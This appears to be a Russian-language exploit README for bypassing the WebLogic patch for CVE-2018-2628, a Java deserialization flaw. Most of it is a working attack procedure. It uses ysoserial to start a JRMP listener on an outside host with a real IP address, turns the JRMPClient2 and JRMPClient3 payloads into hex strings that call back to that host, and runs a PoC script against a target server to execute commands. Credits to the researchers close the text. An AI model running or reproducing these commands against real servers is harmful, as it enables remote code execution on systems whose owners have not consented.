
Некоторые коды для обхода патча Oracle WebLogic CVE-2018-2628
Формат команды:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <порт прослушивания> <класс гаджета> <команда>
Например:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
При выводе сообщения *Opening JRMP listener on 22801 запишите IP-адрес хоста, на котором работает JRMPListener (в примере это IP 47.94.158.125 на виртуальной машине Alibaba Cloud ECS) и указанный порт.
Известны два метода (при генерации Payload Object String можно использовать любой из двух методов):
Формат команды для генерации Payload Object String:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <IP JRMPListener>:<порт JRMPListener> | xxd -p | tr -d $'\n' && echo
Например:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Пример (вывод бинарных данных Payload объекта, сгенерированного JRMPClient2):

Формат команды для генерации Payload Object String:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <IP JRMPListener>:<порт JRMPListener> | xxd -p | tr -d $'\n' && echo
Например:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Пример (вывод бинарных данных Payload объекта, сгенерированного JRMPClient3):

Отредактируйте wls-cve-2018-2628-poc.py: замените значение переменной payload_str в верхней части скрипта на hex-строку, сгенерированную на предыдущем шаге (оба значения переменной payload_str, которые уже есть в скрипте, можно использовать напрямую; они соответствуют hex-строкам, полученным двумя описанными выше методами).
Формат команды:
python wls-cve-2018-2628-poc.py <IP прослушивания целевого экземпляра WebLogic Server> <порт прослушивания целевого экземпляра WebLogic Server>
Например:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
Пример (с установленным Patch Set Update 180417):

xxlegend@nsfocus (один из первооткрывателей и сообщителей об уязвимости CVE-2018-2628, раскрыл способ эксплуатации и предоставил примеры кода) badcode@knownsec (предоставил пример кода для инкапсуляции java.rmi.registry.Registry через weblogic.jms.common.StreamMessageImpl) проект ysoserial (собрано множество эксплойтов для десериализации Java)